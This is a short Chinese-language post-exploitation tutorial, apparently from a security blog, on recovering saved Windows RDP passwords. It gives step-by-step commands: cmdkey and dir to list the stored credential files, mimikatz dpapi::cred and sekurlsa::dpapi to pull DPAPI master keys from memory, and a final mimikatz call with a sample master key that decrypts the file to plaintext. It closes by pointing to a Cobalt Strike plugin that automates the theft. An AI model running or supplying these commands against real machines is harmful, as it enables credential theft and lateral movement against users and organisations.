为了避免每次连接服务器都进行身份验证,经常使用RDP的用户可能勾选保存连接凭据,以便进行快速的身份验证。这些凭据都使用数据保护API以加密形式存储在windows的凭据管理器中,路径为“%USERPROFILE%\AppData\Local\Microsoft\Credentials”
执行以下命令,可以查看当前主机上保存的所有连接凭据
#查看当前保存的凭据
cmdkey /list
#遍历Credentials目录下保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*
获取rdp保存的加密凭据
如下,Credentials目录下保存了一个历史连接凭据,但其中的凭据是加密的
获取rdp加密凭据中的guidMasterKey值
使用mimikatz解析该凭据
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\6A538A1931101CE75C0D949EF75C9CDC" exit
得到的pbData就是凭据的加密数据,guidMasterKey是该凭据的GUID,记录guidMasterKey的值
找到与guidMasterKey相关联的master的值
上面获取的guidMasterKey值为“98e93049-3321-4158-89a1-99bbd40e467e”,然后执行如下命令,找到与guidMasterKey(GUID)相关联的Masterkey。这个Masterkey就是凭据所使用的密钥
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit
通过master值解密rdp加密凭据
使用找到的Masterkey的值解密指定的凭据文件6A538A1931101CE75C0D949EF75C9CDC,如下成功解密,得到rdp明文
mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\6A538A1931101CE75C0D949EF75C9CDC /masterkey:0169405729b5cccc7008e2f434cda8b01b41157818a271869a2eb6b0b93a9e6779601817d4bf958fb664a7219b25c30961bfb275a21b520f18b45e7022b17297" exit
CS插件一键获取rdp凭据
除了手动导出rdp明文密码,还可以借助cs插件一键导出